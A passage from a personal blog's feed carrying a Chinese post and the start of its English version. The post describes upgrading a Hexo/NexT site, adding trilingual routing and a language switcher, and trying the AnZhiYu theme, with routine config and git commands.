Version”</p></li><li><p>若当前是英文版，则显示：“此文章的中文版：中文原文”</p></li></ul><p>效果：用户在页面上的语言切换完全<strong>依据实际内容是否存在来决定</strong>，避免了用户跳转到不存在的页面，整个交互体验非常智能。</p><h4 id="4-核心实现：i18n-map-生成器"><a href="#4-核心实现：i18n-map-生成器" class="headerlink" title="4.核心实现：i18n_map 生成器"></a>4.核心实现：<code>i18n_map</code> 生成器</h4><ul><li><strong>要解决的问题</strong>：前端 JS 需要一份字典，用来快速进行语言跳转。</li><li><strong>脚本做法</strong>：在构建时额外生成一个静态 JS 文件：<code>/js/i18n-map.js</code>。</li></ul><p>该文件内包含一个映射表，例如：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">I18N_MAP</span> = &#123;</span><br><span class="line">  <span class="string">&quot;my-post&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;zh-CN&quot;</span>: <span class="string">&quot;/p/my-post.html&quot;</span>,</span><br><span class="line">    <span class="string">&quot;en&quot;</span>: <span class="string">&quot;/en/p/my-post.html&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>效果：这份数据把每篇文章的唯一标识（<code>abbrlink</code>）与所有语言版本的路由关联起来，前端可以直接读取该表实现快速切换，无需请求服务器，提升响应速度。</p><h4 id="5-整体工作流程"><a href="#5-整体工作流程" class="headerlink" title="5.整体工作流程"></a>5.整体工作流程</h4><p>在这个脚本的调度下，Hexo 的构建顺序为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">graph TD</span><br><span class="line">    A[构建开始] --&gt; B[Step 1: 修正译文永久链接]</span><br><span class="line">    B --&gt; C[Step 2: 按语言生成列表页]</span><br><span class="line">    C --&gt; D[Step 3: 注入语言切换器逻辑与翻译横幅]</span><br><span class="line">    B --&gt; E[Step 4: 生成前端语言映射数据 i18n-map.js]</span><br><span class="line">    D --&gt; F[静态站点生成完毕]</span><br><span class="line">    E --&gt; F</span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">阶段</th><th align="left">技术点</th><th align="left">输出物</th><th align="left">前端表现</th></tr></thead><tbody><tr><td align="left">路由规划</td><td align="left"><code>post_permalink</code> 过滤器</td><td align="left">文章独立语言 URL</td><td align="left">网址结构清晰</td></tr><tr><td align="left">列表生成</td><td align="left">覆盖 4 类生成器</td><td align="left">各语言版首页&#x2F;归档&#x2F;分类&#x2F;标签</td><td align="left">内容按语言隔离，无404</td></tr><tr><td align="left">页面修饰</td><td align="left"><code>after_render:html</code></td><td align="left">修改后的 HTML</td><td align="left">智能切换器 + 翻译横幅</td></tr><tr><td align="left">数据支撑</td><td align="left"><code>i18n_map</code> 生成器</td><td align="left"><code>/js/i18n-map.js</code></td><td align="left">前端路由字典</td></tr></tbody></table><h3 id="翻译工作流（以后我执行）"><a href="#翻译工作流（以后我执行）" class="headerlink" title="翻译工作流（以后我执行）"></a>翻译工作流（以后我执行）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AI 翻译初稿 → 本人细改 → 放到 source/_posts/en/ 目录</span><br><span class="line">→ front-matter 写 lang: en + 和原文相同的 abbrlink</span><br><span class="line">→ 本地预览验证 → git push 上线</span><br></pre></td></tr></table></figure><h3 id="切换器交互逻辑"><a href="#切换器交互逻辑" class="headerlink" title="切换器交互逻辑"></a>切换器交互逻辑</h3><table><thead><tr><th>场景</th><th>行为</th></tr></thead><tbody><tr><td>文章有中文&#x2F;英文译文</td><td>可点击，跳转到对应语言版本</td></tr><tr><td>文章无该语言版本</td><td>按钮置灰禁用，鼠标悬停提示”此文章暂无该语言版本”</td></tr><tr><td>文章有其他语言版本</td><td>文章顶部横幅：”🌐 本文还有其它语言版本：English”</td></tr><tr><td>语言站首页</td><td>仅显示对应语言的文章列表</td></tr></tbody></table><h2 id="四、主题试驾（安知鱼）"><a href="#四、主题试驾（安知鱼）" class="headerlink" title="四、主题试驾（安知鱼）"></a>四、主题试驾（安知鱼）</h2><h3 id="零污染共存方案"><a href="#零污染共存方案" class="headerlink" title="零污染共存方案"></a>零污染共存方案</h3><p>不破坏现有 NexT 配置，本地双服务器跑，便于我逐步根据页面需求，迁移老主题的定制配置：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">端口 4100 → NexT 主题（hexo server -p 4100）</span><br><span class="line">端口 4200 → 安知鱼主题（hexo server --config &quot;_config.yml,_config.anzhiyu_test.yml&quot; -p 4200）</span><br></pre></td></tr></table></figure><p><code>_config.anzhiyu_test.yml</code> 仅通过一行配置，实现以后可以一个配置切换主题，方便我可以随时切换回性冷淡风格：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">theme:</span> <span class="string">anzhiyu</span></span><br></pre></td></tr></table></figure><p>启动时 Hexo 合并两个配置文件，安知鱼覆盖 <code>theme</code> 字段，其他配置（文章、多语言脚本等）共享主配置。</p><h3 id="安知鱼配置体系"><a href="#安知鱼配置体系" class="headerlink" title="安知鱼配置体系"></a>安知鱼配置体系</h3><p><strong>重要：</strong> 安知鱼的所有配置在博客根目录的 <code>_config.anzhiyu.yml</code> 中修改，不用碰 <code>themes/anzhiyu/</code> 内的文件。</p><h3 id="功能迁移清单"><a href="#功能迁移清单" class="headerlink" title="功能迁移清单"></a>功能迁移清单</h3><p>原博客的定制小功能迁移，一部分保留到新主题，一部分不要了。</p><table><thead><tr><th>功能</th><th>安知鱼状态</th><th>备注</th></tr></thead><tbody><tr><td>Live2D 看板娘</td><td>✅ 保留</td><td>注入 autoload.js，音乐播放器挪到左上角避开</td></tr><tr><td>多语言切换器</td><td>✅ 移植</td><td>注入右侧悬浮栏，沿用置灰&#x2F;可跳逻辑</td></tr><tr><td>复制按钮</td><td>❌ 不要</td><td>新主题自带</td></tr><tr><td>崩溃欺骗</td><td>❌ 不要</td><td>新主题有其他形式</td></tr><tr><td>阅读进度</td><td>❌ 不要</td><td>新主题自带</td></tr><tr><td>评论&#x2F;友链&#x2F;菜单等</td><td>慢慢手动迁移</td><td>逐项从 NexT 配置搬过来</td></tr></tbody></table><h2 id="五、当前配置与操作指南"><a href="#五、当前配置与操作指南" class="headerlink" title="五、当前配置与操作指南"></a>五、当前配置与操作指南</h2><h3 id="多语言配置说明"><a href="#多语言配置说明" class="headerlink" title="多语言配置说明"></a>多语言配置说明</h3><p>修改 <code>_config.yml</code> 中的以下字段：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 语言顺序：第一个是默认语言（中文）</span></span><br><span class="line"><span class="attr">language:</span> [<span class="string">zh-CN</span>, <span class="string">en</span>, <span class="string">ja</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 多语言插件配置</span></span><br><span class="line"><span class="attr">i18n_blog:</span></span><br><span class="line">  <span class="attr">default_language:</span> <span class="string">zh-CN</span>     <span class="comment"># 默认语言</span></span><br><span class="line">  <span class="attr">langs:</span> [<span class="string">en</span>, <span class="string">ja</span>]             <span class="comment"># 启用的其他语言</span></span><br></pre></td></tr></table></figure><h3 id="写新文章"><a href="#写新文章" class="headerlink" title="写新文章"></a>写新文章</h3><p><strong>中文文章（默认语言）：</strong></p><p>文件位置：<code>source/_posts/</code><br>示例：<code>source/_posts/我的新文章.md</code></p><p>front-matter 示例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">我的新文章</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p>不需要写 <code>lang</code> 字段，<code>abbrlink</code> 在构建时自动生成。</p><p><strong>英文译文（需要中文版同时存在）：</strong></p><p>文件位置：<code>source/_posts/en/</code><br>示例：<code>source/_posts/en/my-new-article.md</code></p><p>front-matter 示例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">My</span> <span class="string">New</span> <span class="string">Article</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="attr">lang:</span> <span class="string">en</span></span><br><span class="line"><span class="attr">abbrlink:</span> <span class="number">12345678</span>    <span class="comment"># 和中文版相同的 abbrlink</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><strong>关键：</strong> <code>lang: en</code> 必须写，<code>abbrlink</code> 必须和中文版相同。</p><p><strong>日文文章（目前空站，有译文时再放）：</strong></p><p>文件位置：<code>source/_posts/ja/</code><br>front-matter 写 <code>lang: ja</code> + 相同 <code>abbrlink</code>。</p><h3 id="文章配置图"><a href="#文章配置图" class="headerlink" title="文章配置图"></a>文章配置图</h3><p>新主题具有给文章配置首页预览图和文章背景图功能。在博客文章的yaml配置中增加图片配置并在目录添加图片。如果找不到图片，博客默认使用系统自带的兜底图片随机选封面。图片需要准备19:9比例的。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">cover:</span> <span class="string">/img/covers/dd1.webp</span>      <span class="comment"># 首页缩略图（2026-09-04 C6 转 webp 省 28.9%）</span></span><br><span class="line"><span class="attr">top_img:</span> <span class="string">/img/covers/dd2.webp</span>    <span class="comment"># 文章页顶部大图（2026-09-04 C6 转 webp 省 49.7%）</span></span><br></pre></td></tr></table></figure><h3 id="本地预览方法"><a href="#本地预览方法" class="headerlink" title="本地预览方法"></a>本地预览方法</h3><p>站点本地预览：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">npx hexo clean   <span class="comment">#清缓存</span></span><br><span class="line">npx hexo server -p 4100   <span class="comment">#启动本地服务</span></span><br></pre></td></tr></table></figure><p>然后本地查看。<a href="http://localhost:4100/">http://localhost:4100</a></p><p><strong>NexT 主题（端口 4100）：</strong></p><p>在博客根目录执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server -p 4100</span><br></pre></td></tr></table></figure><p>访问 <a href="http://localhost:4100/">http://localhost:4100</a></p><p><strong>安知鱼主题（端口 4200）：</strong></p><p>在博客根目录执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server --config <span class="string">&quot;_config.yml,_config.anzhiyu_test.yml&quot;</span> -p 4200</span><br></pre></td></tr></table></figure><p>访问 <a href="http://localhost:4200/">http://localhost:4200</a></p><p><strong>注意：</strong> 修改 <code>_config.anzhiyu.yml</code> 或 <code>source/css/</code> 等文件后，需要重启 server 才能生效。按 <code>Ctrl+C</code> 停止，重新执行上面的命令。</p><h3 id="上线操作"><a href="#上线操作" class="headerlink" title="上线操作"></a>上线操作</h3><p>CNB 云原生构建，push 到 master 分支后自动部署。无需本地 <code>hexo g</code>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">git add -A</span><br><span class="line">git commit -m <span class="string">&quot;更新内容&quot;</span></span><br><span class="line">git push origin master</span><br></pre></td></tr></table></figure><p><strong>注意：</strong> 沙箱环境 git push 会报凭据错误，请在本机终端（cmd&#x2F;PowerShell）中执行上述命令。</p><h3 id="安知鱼配置迁移期间预览"><a href="#安知鱼配置迁移期间预览" class="headerlink" title="安知鱼配置迁移期间预览"></a>安知鱼配置迁移期间预览</h3><p>当前线上仍是 NexT 主题。安知鱼的试驾配置在以下文件中，尚未 commit 到 master：</p><table><thead><tr><th>文件</th><th>说明</th></tr></thead><tbody><tr><td><code>_config.anzhiyu.yml</code></td><td>安知鱼覆盖配置（1342 行）</td></tr><tr><td><code>_config.anzhiyu_test.yml</code></td><td>试驾开关（仅一行 <code>theme: anzhiyu</code>）</td></tr><tr><td><code>source/css/anzhiyu-custom.css</code></td><td>安知鱼专属 CSS</td></tr><tr><td><code>source/js/i18n-switcher.js</code></td><td>语言切换按钮 JS</td></tr><tr><td><code>themes/anzhiyu/</code></td><td>安知鱼主题本体</td></tr></tbody></table><p>等我完成菜单、友链、评论等配置迁移后，再决定是否将安知鱼正式上线。</p><h2 id="六、待办与展望"><a href="#六、待办与展望" class="headerlink" title="六、待办与展望"></a>六、待办与展望</h2><ul><li><strong>SEO 专项</strong>：hreflang alternates、sitemap 多语言条目、robots.txt——当前搜”misaka10013”主要出 GitHub，博客可见度需要提升</li><li><strong>重点文章翻译工程</strong>：挑重点文章，用 AI 翻译初稿后自己细改，逐步丰富英文版内容</li><li><strong>安知鱼正式上线</strong>：配置迁移完成后，决定是否切换</li><li><strong>OSS 密钥轮换</strong>：deploy 段的明文密钥在 git 历史中，建议轮换</li></ul>]]>
    </content>
    <id>http://misaka10013.cn/p/913761649.html</id>
    <link href="http://misaka10013.cn/p/913761649.html"/>
    <published>2026-08-28T09:20:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="一、背景与动机"><a href="#一、背景与动机" class="headerlink" title="一、背景与动机"></a>一、背景与动机</h2><p>我的博客（misaka10013.cn）从建站起就一直用 Hexo 4.2.0 + NexT 6.0.0，跑了 6 年没动过框架。<br>最近几次想加新功能、调页面，每次让 AI 配合干活，对方都吐槽版本太老——依赖过时、插件不兼容、配置语法都变了。早就该升了，但一直懒得动。</p>
<p>最近我主要有点新想法：</p>]]>
    </summary>
    <title>Hexo升级记：跨越6年与增加多语言支持</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="http://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="Hexo" scheme="http://misaka10013.cn/tags/Hexo/"/>
    <category term="NexT" scheme="http://misaka10013.cn/tags/NexT/"/>
    <category term="Blog Upgrade" scheme="http://misaka10013.cn/tags/Blog-Upgrade/"/>
    <category term="Multilingual" scheme="http://misaka10013.cn/tags/Multilingual/"/>
    <category term="AnZhiYu" scheme="http://misaka10013.cn/tags/AnZhiYu/"/>
    <content>
      <![CDATA[<h2 id="1-Background-Motivation"><a href="#1-Background-Motivation" class="headerlink" title="1. Background &amp; Motivation"></a>1. Background &amp; Motivation</h2><p>My blog (misaka10013.cn) has been running on Hexo 4.2.0 + NexT 6.0.0 since it was first launched — six years without touching the framework. Every time I recently asked an AI to help add a feature or tweak a page, it complained that my versions were too old: outdated dependencies, incompatible plugins, even the config syntax has changed. I should have upgraded long ago, but I kept putting it off.</p><p>Lately I’ve had a few new ideas:</p><p><strong>1. Multilingual support.</strong> I wanted Chinese, English and Japanese versions of the site — first, to practice foreign languages by reading my own posts in different languages; second, for SEO. My posts are hard to find no matter where the search happens, and localized versions are friendlier to search engines.</p><p><strong>2. A new theme.</strong> I had my eye on the AnZhiYu theme — rich colors, rounded cards, gradient animations, the exact opposite of NexT’s minimalist “indifferent” style. Since I had to change things anyway, why not jump straight to the latest versions and solve everything at once?</p><h2 id="2-Framework-Upgrade-Hexo-4→8-NexT-6→8"><a href="#2-Framework-Upgrade-Hexo-4→8-NexT-6→8" class="headerlink" title="2. Framework Upgrade (Hexo 4→8 + NexT 6→8)"></a>2. Framework Upgrade (Hexo 4→8 + NexT 6→8)</h2><h3 id="Overall-Plan"><a href="#Overall-Plan" class="headerlink" title="Overall Plan"></a>Overall Plan</h3><p>After an initial discussion with the AI and a review of the blog’s current state, we settled on an execution plan: create a <code>next8</code> branch off <code>master</code>, do the upgrade, theme migration, feature porting and multilingual development all on the branch, and only merge back to <code>master</code> for production once everything passes testing. The live site keeps running the old version throughout, completely unaffected.</p><h3 id="Division-of-Labor"><a href="#Division-of-Labor" class="headerlink" title="Division of Labor"></a>Division of Labor</h3><ul><li><strong>Me (Misaka)</strong>: defining the plan, reviewing each step, making the final calls</li><li><strong>AI</strong>: doing the actual work, assessing impact, reporting pitfalls</li></ul><h3 id="Upgrade-Checklist"><a href="#Upgrade-Checklist" class="headerlink" title="Upgrade Checklist"></a>Upgrade Checklist</h3><table><thead><tr><th>Item</th><th>Old version</th><th>New version</th></tr></thead><tbody><tr><td>Hexo</td><td>4.2.0</td><td>8.1.2</td></tr><tr><td>NexT</td><td>6.0.0 (git clone)</td><td>8.29.0 (npm package)</td></tr><tr><td>Node.js</td><td>16.x</td><td>22.22.2</td></tr><tr><td>Deployment</td><td>CNB cloud build</td><td>Same (node:18→node:22)</td></tr></tbody></table><h2 id="3-The-Multilingual-Approach"><a href="#3-The-Multilingual-Approach" class="headerlink" title="3. The Multilingual Approach"></a>3. The Multilingual Approach</h2><h3 id="Aligning-Requirements"><a href="#Aligning-Requirements" class="headerlink" title="Aligning Requirements"></a>Aligning Requirements</h3><p>Working with an AI means aligning on the right level of detail. I had the AI propose concrete implementation methods for my rough requirements, then used a Socratic approach — it kept asking me questions until the requirements were fully pinned down:</p><ol><li>Trilingual UI (CN&#x2F;EN&#x2F;JA) — ✅ required</li><li>Language switcher always visible in the sidebar across the site — ✅ required</li><li>Each language home page shows only that language’s posts — ✅ required</li><li>Post pages: has translation → jump; no translation → button disabled + in-post notice — ✅ compromise</li><li>Translation is the user’s job; AI only builds the framework — ✅ clear</li><li>Empty Japanese site initially is acceptable — ✅ accepted</li></ol><h3 id="Final-Approach-Single-Build-Thin-Script"><a href="#Final-Approach-Single-Build-Thin-Script" class="headerlink" title="Final Approach: Single Build + Thin Script"></a>Final Approach: Single Build + Thin Script</h3><p>The final approach is a single build plus one <code>scripts/i18n-blog.js</code> that handles all the logic.</p><h4 id="1-Translated-Post-Routing-the-post-permalink-Filter-priority-9"><a href="#1-Translated-Post-Routing-the-post-permalink-Filter-priority-9" class="headerlink" title="1. Translated Post Routing: the post_permalink Filter (priority 9)"></a>1. Translated Post Routing: the <code>post_permalink</code> Filter (priority 9)</h4><ul><li><strong>Problem</strong>: by default every post shares the same URL structure, so language versions can’t be distinguished.</li><li><strong>Approach</strong>: intercept and rewrite the permalink when Hexo generates it.<ul><li>Default-language posts (e.g. <code>zh-CN</code>) keep their original path, e.g. <code>/p/xxx.html</code>.</li><li>Translated posts (e.g. <code>en</code>) are forced to <code>/en/p/xxx.html</code>.</li></ul></li></ul><p>Result: each language version of a post gets an <strong>independent, clean URL</strong>, which helps SEO and makes language switching straightforward.</p><h4 id="2-Language-Specific-Listing-Pages-Overriding-the-index-archive-category-tag-Generators"><a href="#2-Language-Specific-Listing-Pages-Overriding-the-index-archive-category-tag-Generators" class="headerlink" title="2. Language-Specific Listing Pages: Overriding the index / archive / category / tag Generators"></a>2. Language-Specific Listing Pages: Overriding the <code>index / archive / category / tag</code> Generators</h4><ul><li><strong>Problem</strong>: Hexo’s default generators mix all posts together for the index and archives, so they can’t be separated by language.</li><li><strong>Approach</strong>:<ul><li>Rewrite the generator logic.</li><li>For each language, generate that language’s <strong>home, archives, categories and tags pages</strong>.</li><li><strong>Filter to only that language’s posts</strong> when generating.</li><li>If a language has no posts, generate a <strong>placeholder page</strong> instead of returning 404.</li></ul></li></ul><p>Result:</p><ul><li>Each language site has its own home page and content listings, completely independent.</li><li>Visiting <code>/en/</code> shows a placeholder instead of an empty-page error — a much better experience.</li></ul><h4 id="3-1-Language-Switcher-Select-Dropdown-In-Post-Language-Banner"><a href="#3-1-Language-Switcher-Select-Dropdown-In-Post-Language-Banner" class="headerlink" title="3.1 Language Switcher (Select Dropdown) &amp; In-Post Language Banner"></a>3.1 Language Switcher (Select Dropdown) &amp; In-Post Language Banner</h4><ul><li><p>The script analyzes whether the <strong>current page</strong> has versions in other languages.</p></li><li><p><strong>Has translation</strong>: the switch option is highlighted&#x2F;clickable and points to the correct translated URL.</p></li><li><p><strong>No translation</strong>: the option is grayed out (<code>disabled</code>) with a <code>title</code> tooltip like “This post has no English version yet”.</p></li><li><p>When other language versions exist, a notice banner is inserted at the top of the post body.</p></li><li><p>E.g.: “This post also has an English version: English Version”</p></li><li><p>On the English page it shows: “The Chinese original of this post: 中文原文”</p></li></ul><p>Result: language switching is driven entirely by <strong>whether the content actually exists</strong>, so users never land on a missing page — a much smarter interaction.</p><h4 id="4-Core-Implementation-the-i18n-map-Generator"><a href="#4-Core-Implementation-the-i18n-map-Generator" class="headerlink" title="4. Core Implementation: the i18n_map Generator"></a>4. Core Implementation: the <code>i18n_map</code> Generator</h4><ul><li><strong>Problem</strong>: the frontend JS needs a dictionary for instant language jumps.</li><li><strong>Approach</strong>: additionally generate a static JS file at build time: <code>/js/i18n-map.js</code>.</li></ul><p>It contains a mapping table, e.g.:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">I18N_MAP</span> = &#123;</span><br><span class="line">  <span class="string">&quot;my-post&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;zh-CN&quot;</span>: <span class="string">&quot;/p/my-post.html&quot;</span>,</span><br><span class="line">    <span class="string">&quot;en&quot;</span>: <span class="string">&quot;/en/p/my-post.html&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>Result: this data links each post’s unique ID (<code>abbrlink</code>) to the routes of all its language versions. The frontend reads the table directly for instant switching — no server round-trip needed, faster response.</p><h4 id="5-Overall-Workflow"><a href="#5-Overall-Workflow" class="headerlink" title="5. Overall Workflow"></a>5. Overall Workflow</h4><p>With this script orchestrating, Hexo’s build order is:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">graph TD</span><br><span class="line">    A[Build starts] --&gt; B[Step 1: Fix translated permalinks]</span><br><span class="line">    B --&gt; C[Step 2: Generate per-language listing pages]</span><br><span class="line">    C --&gt; D[Step 3: Inject switcher logic &amp; translation banners]</span><br><span class="line">    B --&gt; E[Step 4: Generate frontend language map i18n-map.js]</span><br><span class="line">    D --&gt; F[Static site generated]</span><br><span class="line">    E --&gt; F</span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">Stage</th><th align="left">Technique</th><th align="left">Output</th><th align="left">Frontend result</th></tr></thead><tbody><tr><td align="left">Routing</td><td align="left"><code>post_permalink</code> filter</td><td align="left">Per-language post URLs</td><td align="left">Clean URL structure</td></tr><tr><td align="left">Listing</td><td align="left">Override 4 generators</td><td align="left">Per-language home&#x2F;archives&#x2F;categories&#x2F;tags</td><td align="left">Content isolated by language, no 404s</td></tr><tr><td align="left">Page decoration</td><td align="left"><code>after_render:html</code></td><td align="left">Modified HTML</td><td align="left">Smart switcher + translation banner</td></tr><tr><td align="left">Data layer</td><td align="left"><code>i18n_map</code> generator</td><td align="left"><code>/js/i18n-map.js</code></td><td align="left">Frontend routing dictionary</td></tr></tbody></table><h3 id="Translation-Workflow-my-process-going-forward"><a href="#Translation-Workflow-my-process-going-forward" class="headerlink" title="Translation Workflow (my process going forward)"></a>Translation Workflow (my process going forward)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AI drafts the translation → I refine it → save to source/_posts/en/</span><br><span class="line">→ front-matter: lang: en + the same abbrlink as the original</span><br><span class="line">→ verify in local preview → git push to production</span><br></pre></td></tr></table></figure><h3 id="Switcher-Interaction-Logic"><a href="#Switcher-Interaction-Logic" class="headerlink" title="Switcher Interaction Logic"></a>Switcher Interaction Logic</h3><table><thead><tr><th>Scenario</th><th>Behavior</th></tr></thead><tbody><tr><td>Post has a CN&#x2F;EN&#x2F;JA version</td><td>Clickable, jumps to that language version</td></tr><tr><td>Post has no version in that language</td><td>Button grayed out&#x2F;disabled, hover tooltip “This post has no version in that language”</td></tr><tr><td>Post has other language versions</td><td>Banner at top: “🌐 This post also has other language versions: English”</td></tr><tr><td>Language site home page</td><td>Shows only that language’s posts</td></tr></tbody></table><h2 id="4-Theme-Test-Drive-AnZhiYu"><a href="#4-Theme-Test-Drive-AnZhiYu" class="headerlink" title="4. Theme Test Drive (AnZhiYu)"></a>4. Theme Test Drive (AnZhiYu)</h2><h3 id="Zero-Contamination-Coexistence"><a href="#Zero-Contamination-Coexistence" class="headerlink" title="Zero-Contamination Coexistence"></a>Zero-Contamination Coexistence</h3><p>Without touching the existing NexT config, I ran two local servers in parallel, so I could gradually migrate the old theme’s custom settings based on what each page needs:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Port 4100 → NexT theme (hexo server -p 4100)</span><br><span class="line">Port 4200 → AnZhiYu theme (hexo server --config &quot;_config.yml,_config.anzhiyu_test.yml&quot; -p 4200)</span><br></pre></td></tr></table></figure><p><code>_config.anzhiyu_test.yml</code> switches themes with a single line of config, so I can flip back to the minimalist style any time:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">theme:</span> <span class="string">anzhiyu</span></span><br></pre></td></tr></table></figure><p>At startup Hexo merges the two config files; AnZhiYu overrides the <code>theme</code> field while everything else (posts, the i18n script, etc.) is shared from the main config.</p><h3 id="AnZhiYu-Config-System"><a href="#AnZhiYu-Config-System" class="headerlink" title="AnZhiYu Config System"></a>AnZhiYu Config System</h3><p><strong>Important:</strong> all AnZhiYu settings live in <code>_config.anzhiyu.yml</code> at the blog root — never touch files inside <code>themes/anzhiyu/</code>.</p><h3 id="Feature-Migration-Checklist"><a href="#Feature-Migration-Checklist" class="headerlink" title="Feature Migration Checklist"></a>Feature Migration Checklist</h3><p>A migration list for the old blog’s custom features — some carried over to the new theme, some dropped.</p><table><thead><tr><th>Feature</th><th>Status on AnZhiYu</th><th>Notes</th></tr></thead><tbody><tr><td>Live2D mascot</td><td>✅ Kept</td><td>Inject autoload.js; music player moved to top-left to make room</td></tr><tr><td>Language switcher</td><td>✅ Ported</td><td>Injected into the right-side floating bar; same disabled&#x2F;clickable logic</td></tr><tr><td>Copy button</td><td>❌ Dropped</td><td>The new theme has its own</td></tr><tr><td>Crash fake-out</td><td>❌ Dropped</td><td>The new theme offers other forms</td></tr><tr><td>Reading progress</td><td>❌ Dropped</td><td>The new theme has its own</td></tr><tr><td>Comments&#x2F;friend links&#x2F;menu</td><td>Migrating manually</td><td>Moving item by item from the NexT config</td></tr></tbody></table><h2 id="5-Current-Config-Operations-Guide"><a href="#5-Current-Config-Operations-Guide" class="headerlink" title="5. Current Config &amp; Operations Guide"></a>5. Current Config &amp; Operations Guide</h2><h3 id="Multilingual-Config"><a href="#Multilingual-Config" class="headerlink" title="Multilingual Config"></a>Multilingual Config</h3><p>Edit these fields in <code>_config.yml</code>:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Language order: the first one is the default (Chinese)</span></span><br><span class="line"><span class="attr">language:</span> [<span 